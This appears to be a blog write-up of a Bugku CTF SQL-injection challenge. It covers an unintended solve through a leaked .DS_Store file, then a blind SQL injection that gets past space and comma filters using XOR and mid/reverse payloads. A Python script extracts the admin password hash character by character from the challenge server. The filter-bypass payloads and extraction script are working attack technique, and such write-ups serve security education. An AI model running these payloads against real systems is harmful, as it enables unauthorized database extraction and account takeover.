Bugku-sql注入2

sql注入2

题目描述

全都tm过滤了绝望吗?提示 !,!=,=,+,-,^,%

解题过程

非预期解

  • 先用御剑扫一发

    发现了.DS_Store文件,这是个mac里的文件夹属性文件

  • 下载 打开

    可以看到目录下的一些文件/文件夹,里面有flag

  • 直接访问/flag 获取到flag = =

正经的做一遍

  • 因为之前测过,知道admin账号是存在的,用admin + 任意密码登录,burp抓包

    然后随手输入了admin / asd,结果登进去了!!!可以看到的返回包直接跳转到了admin页面。。。(登陆成功302)

    然后ls,得到flag,

    我清掉cookie又去试了好多次,都不行,很奇怪

真·正经地做一遍

  • 分析

    题目给了提示,只有那么几个符号可以用,测试了一下空格和逗号也用不了,和前几天t-star的sql题有点像,推测是同表注入

  • 测注入点

    可以看到,内容为真的时候,返回为username error,内容为假的时候,返回为password error

  • 测字段 + 字段长度

    最后测出字段名为passwd 长度为32(猜测是md5)

    payload:admin'^(length(passwd)>0)^'

  • 爆数据

    不使用空格和逗号的注入,构造payload:(ascii(mid((reverse(mid((passwd)from(%d))))from(-1))))=%d

    原理:

    # 假设 passwd = asdfghj
    
    mid((passwd)from(1))    # 从第1位开始截取
    asdfghj
    
    reverse(mid((passwd)from(1)))   # 逆序
    jhgfdsa
    
    mid((reverse(mid((passwd)from(1))))from(-1))  # 取最后一位
    a
    

    写个脚本跑一下:

    import requests
    
    url = 'http://123.206.87.240:8007/web2/login.php'
    length = 32
    flag = ''
    for i in range(1, length + 1):
        print('[*] No.%d' % i, end='')
        for x in '1234567890abcdef':  # md5使用16进制
            s = requests.post(url=url, data={
                'uname': "admin'^(ascii(mid((reverse(mid((passwd)from(%d))))from(-1)))=%d)^'" % (i, ord(x)),
                'passwd': "asd"
                })
            if 'username error' in s.text:
                flag += x
                print(' success')
                break
    
    print(flag)
    
    

    跑出来之后去somd5解密,密码是admin123,然后 登录 -> ls -> 拿到flag

posted @ 2020-07-02 09:41  R3col  阅读(344)  评论(0编辑  收藏  举报